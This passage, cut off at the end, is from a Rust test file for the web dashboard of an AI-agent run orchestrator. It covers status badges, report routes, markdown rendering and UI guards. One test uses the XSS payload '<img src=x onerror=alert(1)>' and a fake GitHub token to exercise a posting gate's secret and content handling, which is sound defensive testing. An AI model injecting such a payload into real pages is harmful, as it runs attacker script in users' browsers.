true,
"github-text",
true,
Dead,
"waiting",
),
(
RunStatus::Judging,
false,
"github-text",
true,
Dead,
"waiting",
),
(
RunStatus::Judging,
false,
"github-text",
false,
Dead,
"stale",
),
(RunStatus::Judging, false, "resume", false, Dead, "stale"),
(RunStatus::Judging, true, "park", false, Live, "judging"),
(RunStatus::Judging, true, "park", false, Unknown, "judging"),
(RunStatus::Merged, true, "park", false, Dead, "merged"),
(RunStatus::Blocked, true, "park", false, Dead, "blocked"),
(
RunStatus::Blocked,
true,
"github-text",
true,
Dead,
"waiting",
),
] {
state.status = status;
state.parked = parked;
state.events.clear();
state.event(
"park",
"an earlier park does not determine the latest state",
);
state.event(node, "message is not used for classification");
let summary = RunSummary::of(&state, waiting, live);
let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
assert_eq!(
summary.display_status, expected,
"{status:?}/{node}/{live:?}"
);
assert_eq!(detail.display_status, summary.display_status);
assert_eq!(detail.waiting, summary.waiting);
}
state.status = RunStatus::Judging;
state.parked = false;
state.events.clear();
assert_eq!(run_display_status(&state, false, Dead), "stale");
}
#[test]
fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
use crate::run::Liveness::{Dead, Live, Unknown};
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"abc".to_owned(),
"Badge".to_owned(),
Config::default(),
);
for (status, waiting, live, superseded, expected) in [
(RunStatus::Gating, false, Dead, false, "stale"),
(RunStatus::Gating, false, Dead, true, "superseded"),
(RunStatus::Gating, false, Unknown, true, "superseded"),
(RunStatus::Gating, true, Dead, true, "superseded"),
(RunStatus::Gating, true, Dead, false, "waiting"),
(RunStatus::Gating, false, Unknown, false, "gating"),
(RunStatus::Gating, false, Live, true, "gating"),
(RunStatus::Gating, true, Live, true, "waiting"),
(RunStatus::Merged, false, Dead, true, "merged"),
(RunStatus::Blocked, false, Dead, true, "blocked"),
] {
state.status = status;
let display = run_display_status(&state, waiting, live);
assert_eq!(
run_badge_status(&state, &display, live, superseded),
expected,
"{status:?}/{live:?}/superseded={superseded}"
);
}
}
#[test]
fn summarize_and_detail_expose_badge_status() {
use crate::run::Liveness::Dead;
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"abc".to_owned(),
"Badge".to_owned(),
Config::default(),
);
state.status = RunStatus::Gating;
let none = HashSet::new();
let id = state.id.clone();
let mut by = HashMap::new();
let rows = summarize(
[state.clone()],
&none,
&none,
&by,
|_| Some(false),
|_| None,
);
assert_eq!(rows[0].badge_status, rows[0].display_status);
by.insert(id, "20260901-000000-913b".to_owned());
let detail = RunDetailView::of(
state.clone(),
false,
Dead,
Some("913b".to_owned()),
None,
None,
);
assert_eq!(detail.badge_status, "superseded");
let json = serde_json::to_value(&detail).unwrap();
assert_eq!(json["badge_status"], "superseded");
let detail = RunDetailView::of(state, false, Dead, None, None, None);
assert_eq!(detail.badge_status, "stale");
}
#[tokio::test]
async fn run_display_status_routes_share_the_open_question_store() {
let f = Fixture::start().await;
let id = "20260922-090200-abcd";
write_run(&f.runs(), id, RunStatus::Judging);
let mut state = read_run(&f.runs(), id).unwrap();
state.parked = true;
state.driver_exited = true;
state.event("github-text", "waiting for the owner");
state.save_under(f.home.path()).unwrap();
let mut task = Task::new(
"resumed task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
task.runs = vec![id.to_owned(), id.to_owned()];
f.queue().put(&mut task).unwrap();
let store = f.questions();
let mut q = Question::new(
id.to_owned(),
"github-text".to_owned(),
"owner".to_owned(),
"Approve the text?".to_owned(),
String::new(),
Vec::new(),
);
store.put(&mut q).unwrap();
for expected in ["waiting", "parked"] {
let list = f.get("/api/runs").await.json();
let detail = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(list[0]["display_status"], expected);
assert_eq!(detail["display_status"], expected);
assert_eq!(detail["waiting"], list[0]["waiting"]);
assert_eq!(list[0]["badge_status"], expected);
assert_eq!(detail["badge_status"], expected);
assert!(list[0]["superseded_by"].is_null());
assert!(detail["superseded_by"].is_null());
let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
let history = task_detail["history"].as_array().unwrap();
assert_eq!(history.len(), 2);
assert!(history[0]["badge"].is_null());
assert_eq!(history[1]["badge"], expected);
q.status = ask::QuestionStatus::Answered;
store.put(&mut q).unwrap();
}
}
#[tokio::test]
async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
let f = Fixture::start().await;
let id = "20260922-090200-abcd";
write_run(&f.runs(), id, RunStatus::Judging);
let mut state = read_run(&f.runs(), id).unwrap();
state.parked = true;
state.driver_exited = true;
state.event("park", "stopped at a node boundary");
state.save_under(f.home.path()).unwrap();
for expected in ["parked", "stale"] {
let list = f.get("/api/runs").await.json();
let detail = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(list[0]["live"], "dead");
assert_eq!(list[0]["display_status"], expected);
assert_eq!(detail["display_status"], expected);
state.parked = false;
state.save_under(f.home.path()).unwrap();
}
}
#[tokio::test]
async fn the_run_list_is_newest_first_and_honours_a_limit() {
let f = Fixture::start().await;
for id in [
"20260902-140501-aaaa",
"20260902-140502-bbbb",
"20260902-140503-cccc",
] {
write_run(&f.runs(), id, RunStatus::Merged);
}
let all = f.get("/api/runs").await.json();
let capped = f.get("/api/runs?limit=2").await.json();
assert_eq!(all[0]["id"], "20260902-140503-cccc");
assert_eq!(all.as_array().map(Vec::len), Some(3));
assert_eq!(capped.as_array().map(Vec::len), Some(2));
assert_eq!(capped[0]["id"], "20260902-140503-cccc");
}
#[tokio::test]
async fn the_report_route_serves_the_terminal_report_as_plain_text() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
assert_eq!(res.status, 200);
assert!(
res.headers
.contains("content-type: text/plain; charset=utf-8"),
"a browser must render it, not download it: {}",
res.headers
);
assert!(
res.body.contains("20260902-140501-a1b2"),
"the report is about the run that was asked for: {}",
res.body
);
}
#[tokio::test]
async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
crate::run::pin_test_home();
let f = Fixture::start().await;
let id = "20260902-140501-a1b2";
write_run(&f.runs(), id, RunStatus::Stalled);
let path = f.runs().join(id).join("run.json");
let mut v: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
v["tally"] = serde_json::json!({
"first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
"unanimous_initial": true, "deliberated": false, "changed_votes": 0,
"unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
"met_quorum": false, "rankings": 1
});
v["reviews"] = serde_json::json!([{
"round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
"e2e_deferred": true,
"reviews": [{"reviewer": 1, "agent": "a", "findings": [
{"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
]}]
}]);
std::fs::write(&path, v.to_string()).unwrap();
write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
std::fs::write(
f.runs().join("20260902-140502-dead").join("run.json"),
"{not json",
)
.unwrap();
let res = f.get(&format!("/api/runs/{id}/report.json")).await;
assert_eq!(res.status, 200, "{}", res.body);
assert!(res.headers.contains("content-type: application/json"));
let j = res.json();
assert_eq!(j["schema"], 1);
assert_eq!(j["header"]["id"], id);
assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
let kinds: Vec<&str> = j["sections"]
.as_array()
.unwrap()
.iter()
.map(|s| s["kind"].as_str().unwrap())
.collect();
assert_eq!(kinds, ["candidates", "tally", "review"]);
let tally = &j["sections"][1]["tally"];
assert_eq!(
(tally["decided"].clone(), tally["provisional"].clone()),
(false.into(), true.into())
);
let round = &j["sections"][2]["rounds"][0];
assert_eq!(round["e2e"]["state"], "deferred");
assert_eq!(round["findings"][0]["severity"], "major");
assert_eq!(round["findings"][0]["blocking"], true);
assert_eq!(round["findings"][0]["state"], "open");
assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
assert_ne!(bad.status, 200, "{}", bad.body);
assert_eq!(
bad.status,
f.get("/api/runs/20260902-140502-dead/report").await.status
);
assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
assert_eq!(
f.get("/api/runs/20260902-999999-ffff/report.json")
.await
.status,
404
);
}
#[tokio::test]
async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
crate::run::pin_test_home();
let f = Fixture::start().await;
let id = "20260902-140503-delib";
write_run(&f.runs(), id, RunStatus::Merged);
let path = f.runs().join(id).join("run.json");
let mut v: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
v["judgements"] = serde_json::json!([
{"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
]);
v["tally"] = serde_json::json!({
"first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
"unanimous_initial": false, "deliberated": true, "changed_votes": 0,
"unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
"met_quorum": true, "rankings": 1
});
v["deliberation"] = serde_json::json!([
{
"round": 1,
"turns": [
{
"judge": 1,
"agent": "judge-1",
"body": "I prefer candidate **A** because it has cleaner tests.",
"tentative": "A"
}
]
},
{
"round": 2,
"turns": [
{
"judge": 1,
"agent": "judge-1",
"body": "Still thinking, no choice yet.",
"tentative": null
}
]
}
]);
std::fs::write(&path, v.to_string()).unwrap();
let res = f.get(&format!("/api/runs/{id}/report.json")).await;
assert_eq!(res.status, 200, "{}", res.body);
let j = res.json();
let judging = j["sections"]
.as_array()
.unwrap()
.iter()
.find(|s| s["kind"] == "judging")
.expect("judging section exists");
let delib_lines = judging["deliberation"].as_array().unwrap();
assert_eq!(delib_lines.len(), 2);
assert_eq!(delib_lines[0], "r1 judge 1 -> A");
assert_eq!(delib_lines[1], "r2 judge 1 -> -");
let rounds = judging["rounds"].as_array().unwrap();
assert_eq!(rounds.len(), 2);
let r1_t0 = &rounds[0]["turns"][0];
assert_eq!(r1_t0["judge"], 1);
assert_eq!(r1_t0["agent"], "judge-1");
assert_eq!(r1_t0["tentative"], "A");
assert_eq!(
r1_t0["body"],
"I prefer candidate **A** because it has cleaner tests."
);
assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
let r2_t0 = &rounds[1]["turns"][0];
assert_eq!(r2_t0["judge"], 1);
assert_eq!(r2_t0["agent"], "judge-1");
assert!(r2_t0["tentative"].is_null());
assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
let id_empty = "20260902-140504-nodelib";
write_run(&f.runs(), id_empty, RunStatus::Merged);
let path_empty = f.runs().join(id_empty).join("run.json");
let mut v_empty: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
v_empty["judgements"] = serde_json::json!([
{"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
]);
v_empty["deliberation"] = serde_json::json!([]);
std::fs::write(&path_empty, v_empty.to_string()).unwrap();
let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
assert_eq!(res_empty.status, 200, "{}", res_empty.body);
let j_empty = res_empty.json();
let judging_empty = j_empty["sections"]
.as_array()
.unwrap()
.iter()
.find(|s| s["kind"] == "judging")
.expect("judging section exists");
assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
}
#[tokio::test]
async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
let f = Fixture::start().await;
let html = f.get("/").await;
let css = f.get("/app.css").await;
let js = f.get("/app.js").await;
assert_eq!((html.status, css.status, js.status), (200, 200, 200));
assert!(
html.headers
.contains("content-type: text/html; charset=utf-8")
);
assert!(css.headers.contains("content-type: text/css"));
assert!(js.headers.contains("content-type: text/javascript"));
assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
}
#[test]
fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
let body = |name: &str| {
let at = APP_JS
.find(name)
.unwrap_or_else(|| panic!("{name} missing"));
&APP_JS[at..at + 2500.min(APP_JS.len() - at)]
};
assert!(body("function roundRail").contains("if (round <= 0) return null;"));
let note = body("function landRoundNote");
assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
assert!(note.contains("Land round ${round}"));
let land = body("function renderLand");
let note_at = land
.find("landRoundNote(pr)")
.expect("renderLand uses the note");
assert!(
note_at
< land
.find("roundRail(pr)")
.expect("renderLand uses the rail")
);
}
#[test]
fn the_runs_page_redesign_keeps_its_guards() {
let body = |name: &str| {
let at = APP_JS
.find(name)
.unwrap_or_else(|| panic!("{name} missing"));
&APP_JS[at..at + 2500.min(APP_JS.len() - at)]
};
let land = body("function renderLand");
let land = &land[..land.find("function followupList").unwrap_or(land.len())];
assert!(
!land.contains("box.append("),
"renderLand must use append()"
);
assert!(land.contains("append(box, ["));
assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
assert!(
body("function applyRoute")
.contains("route.name !== state.route.name || route.id !== state.route.id")
);
assert!(!APP_JS.contains("adviseConvergeDiagram"));
assert!(!INDEX_HTML.contains("advise-converge"));
assert!(INDEX_HTML.contains("id=\"advise-strip\""));
assert!(APP_JS.contains("provisional"));
for id in [
"run-tab-overview",
"run-tab-timeline",
"run-tab-report",
"run-report",
"runs-scope",
] {
assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
}
assert!(!INDEX_HTML.contains("runs-tree"));
assert!(!INDEX_HTML.contains("run-raw-panel"));
assert!(APP_JS.contains("resume"));
assert!(APP_JS.contains("unreadable"));
}
#[test]
fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
assert!(APP_JS.contains("unreadable` : null"));
}
#[test]
fn blocked_run_detail_exposes_the_failed_gate_reason() {
let mut state = RunState::new(
"/repo".into(),
"main".into(),
"abc".into(),
"task".into(),
crate::config::Config::default(),
);
state.status = RunStatus::Blocked;
state.gate_ran = true;
state.gate.push(crate::run::CommandOutcome {
command: "cargo make check".into(),
code: Some(1),
output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
duration_ms: 0,
resource_blocked: false,
});
let view = RunDetailView::of(
state,
false,
crate::run::Liveness::Unknown,
None,
None,
None,
);
let value = serde_json::to_value(view).unwrap();
assert_eq!(
value["stop_reason"],
"Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
);
}
#[test]
fn the_run_detail_payload_says_whether_the_run_is_done() {
for (status, done) in [
(RunStatus::Superseded, true),
(RunStatus::Blocked, true),
(RunStatus::Landing, false),
] {
let mut state = RunState::new(
std::path::PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"x".to_owned(),
crate::config::Config::default(),
);
state.status = status;
let v = serde_json::to_value(RunDetailView::of(
state,
false,
crate::run::Liveness::Unknown,
None,
None,
None,
))
.unwrap();
assert_eq!(v["done"], done, "{status:?}");
}
}
fn has_strong(nodes: &[md::Node]) -> bool {
serde_json::to_string(nodes).unwrap().contains("strong")
}
#[test]
fn the_run_detail_payload_carries_markdown_for_agent_prose() {
let mut state = RunState::new(
std::path::PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"x".to_owned(),
crate::config::Config::default(),
);
let proposal = |approach: &str| {
serde_json::json!({
"approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
})
};
state.advice = Some(
serde_json::from_value(serde_json::json!({
"records": [
{"seat": "advisor-1", "agent": "a", "duration_ms": 1,
"proposal": proposal("do **this**")},
{"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
],
"synthesis": "- one\n- **two**\n\n`code`",
}))
.unwrap(),
);
state.candidates = serde_json::from_value(serde_json::json!([
{"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
"summary": "did **it**"},
{"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
]))
.unwrap();
state.reviews = serde_json::from_value(serde_json::json!([{
"round": 1, "head": "h",
"reviews": [{
"reviewer": 1, "agent": "a", "summary": "sum **mary**",
"findings": [
{"severity": "nit", "title": "t1", "detail": "plain nit"},
{"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
],
}],
"reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
"fix": {"agent": "a", "notes": "fixed **it**",
"rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
}, {"round": 2, "head": "h2", "reviews": []}]))
.unwrap();
let v = serde_json::to_value(RunDetailView::of(
state,
false,
crate::run::Liveness::Unknown,
None,
None,
None,
))
.unwrap();
let strong = |p: &str| {
let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
assert!(n.to_string().contains("strong"), "{p}: {n}");
};
strong("/advice_md/synthesis");
assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
strong("/advice_md/approaches/0");
assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
strong("/candidate_summaries_md/0");
assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
strong("/reviews_md/0/reviewers/0/summary");
let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
assert!(!f[0].to_string().contains("strong"), "recorded order kept");
assert!(f[1].to_string().contains("strong"));
strong("/reviews_md/0/reconsideration/0");
strong("/reviews_md/0/fix/notes");
strong("/reviews_md/0/fix/rejected/0");
assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
assert_eq!(v["candidates"][0]["summary"], "did **it**");
assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
}
#[test]
fn a_run_without_advice_has_no_advice_md() {
let state = RunState::new(
std::path::PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"x".to_owned(),
crate::config::Config::default(),
);
let p = run_prose_md(&state);
assert!(p.advice_md.is_none());
assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
}
#[test]
fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
let store = ask::Questions::at(PathBuf::from("unused"));
let gt = crate::github_text::Withheld {
title: false,
body: true,
categories: vec!["sensitive-data".into()],
};
let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
let (detail, comparison) =
crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
let mut q = Question::new(
"r".into(),
"github-text".into(),
"posting-gate".into(),
"s".into(),
detail,
Vec::new(),
);
assert!(
QuestionView::of(q.clone(), &store, None)
.posting_view
.is_none()
);
q.posting_comparison = Some(comparison);
let view = QuestionView::of(q.clone(), &store, None);
let field = &view.posting_view.unwrap().fields[0];
assert_eq!(
field
.original
.iter()
.map(|f| f.text.as_str())
.collect::<String>(),
body
);
assert!(field.original[0].text.starts_with("<img"));
let original_question: Question =
serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
assert_eq!(original_question, q);
q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
.original
.start = 1;
assert!(
QuestionView::of(q.clone(), &store, None)
.posting_view
.is_none()
);
q.posting_comparison = original_question.posting_comparison;
q.detail.push_str("extra context");
assert!(
QuestionView::of(q.clone(), &store, None)
.posting_view
.is_some()
);
q.detail.insert(0, 'x');
assert!(QuestionView::of(q, &store, None).posting_view.is_none());
}
#[test]
fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
let store = ask::Questions::at(PathBuf::from("unused"));
let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
let gt = crate::github_text::Withheld::from_check(
&crate::github_text::check("fix: x", body),
"fix: x",
body,
)
.unwrap();
let (detail, comparison) =
crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
let mut q = Question::new(
"r".into(),
"github-text".into(),
"posting-gate".into(),
"s".into(),
detail,
Vec::new(),
);
q.posting_comparison = Some(comparison);
let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
let field = &value["posting_view"]["fields"][0];
let group = &field["replacement_group"];
let triggers = group["triggers"].as_array().unwrap();
assert_eq!(triggers.len(), 2);
assert_ne!(triggers[0], triggers[1]);
for id in triggers {
assert!(
field["original"]
.as_array()
.unwrap()
.iter()
.any(|f| &f["pair"] == id)
);
assert!(
!field["changed"]
.as_array()
.unwrap()
.iter()
.any(|f| &f["pair"] == id)
);
}
q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
group["id"].as_u64().unwrap() as usize;
assert!(
QuestionView::of(q, &store, None).posting_view.is_none(),
"group and trigger IDs cannot collide"
);
}
#[test]
fn a_question_view_carries_markdown_for_each_thread_turn() {
let home = TempDir::new().unwrap();
let store = ask::Questions::at(home.path().join("questions"));
let mut q = Question::new(
"run".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
"which?".to_owned(),
String::new(),
Vec::new(),
);
q.say("plain words").unwrap();
q.reply("use **this**", Vec::new()).unwrap();
let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
let bodies = &v["thread_bodies_md"];
assert_eq!(bodies.as_array().unwrap().len(), 2);
assert!(!bodies[0].to_string().contains("strong"));
assert!(bodies[1].to_string().contains("strong"));
}
#[test]
fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
let home = TempDir::new().unwrap();
let store = ask::Questions::at(home.path().join("questions"));
let mut q = Question::new(
"run".to_owned(),
"conduct".to_owned(),
"conduct".to_owned(),
"which?".to_owned(),
String::new(),
Vec::new(),
);
q.say("plain words").unwrap();
q.thread.push(ask::Turn {
who: ask::Who::Agent,
body: "Settled as `merge`".to_owned(),
at: jiff::Timestamp::now(),
note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
});
let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
let notes = &v["thread_notes_md"];
assert_eq!(notes.as_array().unwrap().len(), 2);
assert!(notes[0].is_null());
let text = notes[1].to_string();
assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
assert!(APP_JS.contains("ask-turn-note"));
}
#[test]
fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
assert!(APP_JS.contains("function landView(run, raw) {"));
assert!(
APP_JS.contains(
"if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
)
);
assert!(APP_JS.contains("const pr = landView(run, raw);"));
assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
}
#[test]
fn live_runs_are_never_hidden_or_folded_as_superseded() {
assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
}
#[test]
fn review_rounds_label_a_distinct_verified_head() {
assert!(APP_JS.contains("round.verified_head"));
assert!(APP_JS.contains("verified HEAD"));
assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
}
#[test]
fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
assert!(APP_JS.contains("blocked: { glyph:"));
assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
assert!(
APP_JS.contains(
"if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
),
"the note line must name what a blocked task is waiting on, not just that it is blocked"
);
assert!(APP_JS.contains("if (status === \"blocked\") {"));
assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
assert!(
APP_JS.contains("location.hash = \"#/questions\";"),
"a question node must jump to the Questions screen, not pretend to be a task"
);
assert!(APP_JS.contains("Resolved questions"));
assert!(APP_JS.contains("r.answersList.append("));
assert!(APP_CSS.contains(".task-answers"));
{
let start = APP_JS
.find("function updateTalkTaskRow")
.expect("updateTalkTaskRow");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
assert!(
body.contains(
"setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
),
"a chat-filed task row must link to the task page"
);
assert!(
!body.contains("#/runs/") && !body.contains("#/queue/"),
"the row must not branch to a run or the queue card"
);
assert!(APP_CSS.contains(".talk-task-link"));
}
}
#[test]
fn a_task_notification_links_to_the_task_page() {
let start = APP_JS
.find("function noticeLink(")
.expect("noticeLink exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
assert!(
body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
"a task notice's link must target the task page"
);
assert!(
!body.contains("#/queue/"),
"regression: the task link must not go back to the Backlog route"
);
assert!(
APP_JS.contains(
"if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
),
"`#/tasks/<id>` must parse into the task route"
);
assert!(
APP_JS.contains(
"if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
),
"`#/queue/<id>` must parse into a route carrying that id"
);
assert!(APP_JS.contains("state.queueFocus = route.id;"));
assert!(APP_JS.contains("function consumeQueueFocus()"));
assert!(APP_JS.contains("jumpToTask(id)"));
}
#[test]
fn notifications_distinguish_actionable_questions_from_informational_notices() {
let start = APP_JS
.find("function noticeCoveredBy(")
.expect("noticeCoveredBy exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
assert!(body.contains("Associated question ${short}"));
assert!(!body.contains("el(\"a\""));
assert!(body.contains("(resolved)"));
assert!(body.contains("(closed)"));
let start = APP_JS
.find("function renderNotifications()")
.expect("renderNotifications exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
}
#[test]
fn chat_rows_put_the_title_alone_on_the_first_line() {
assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
assert!(APP_CSS.contains(
"display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
));
assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
assert!(APP_JS.contains("class: \"badge talk-unread\""));
}
#[test]
fn run_rows_put_the_title_alone_on_the_first_line() {
assert!(
APP_CSS.contains(
".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
)
);
assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
assert!(APP_JS.contains("class: \"card run-card\""));
assert!(APP_JS.contains("class: \"repo run-id\""));
}
#[test]
fn wide_screens_show_list_and_preview_side_by_side() {
assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
assert!(APP_CSS.contains("main[data-split]"));
assert!(APP_CSS.contains("body[data-split]"));
assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
assert!(
APP_JS.contains(
"case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
)
);
assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
assert!(INDEX_HTML.contains("id=\"split-empty\""));
assert!(APP_JS.contains("function markSelected() {"));
assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
assert!(
APP_CSS.contains(
"display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
)
);
assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
assert!(APP_JS.contains("if (state.detail !== detail) return;"));
assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
assert!(APP_JS.contains("const relayout = () => applyRoute();"));
assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
}
#[test]
fn panel_sandbox_carries_exactly_popups() {
let needle = "sandbox: \"";
let matches: Vec<_> = APP_JS.match_indices(needle).collect();
assert_eq!(
matches.len(),
1,
"APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
);
let start = matches[0].0 + needle.len();
let end = APP_JS[start..]
.find('"')
.expect("sandbox attribute value must be terminated by a closing quote");
let val = &APP_JS[start..start + end];
let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
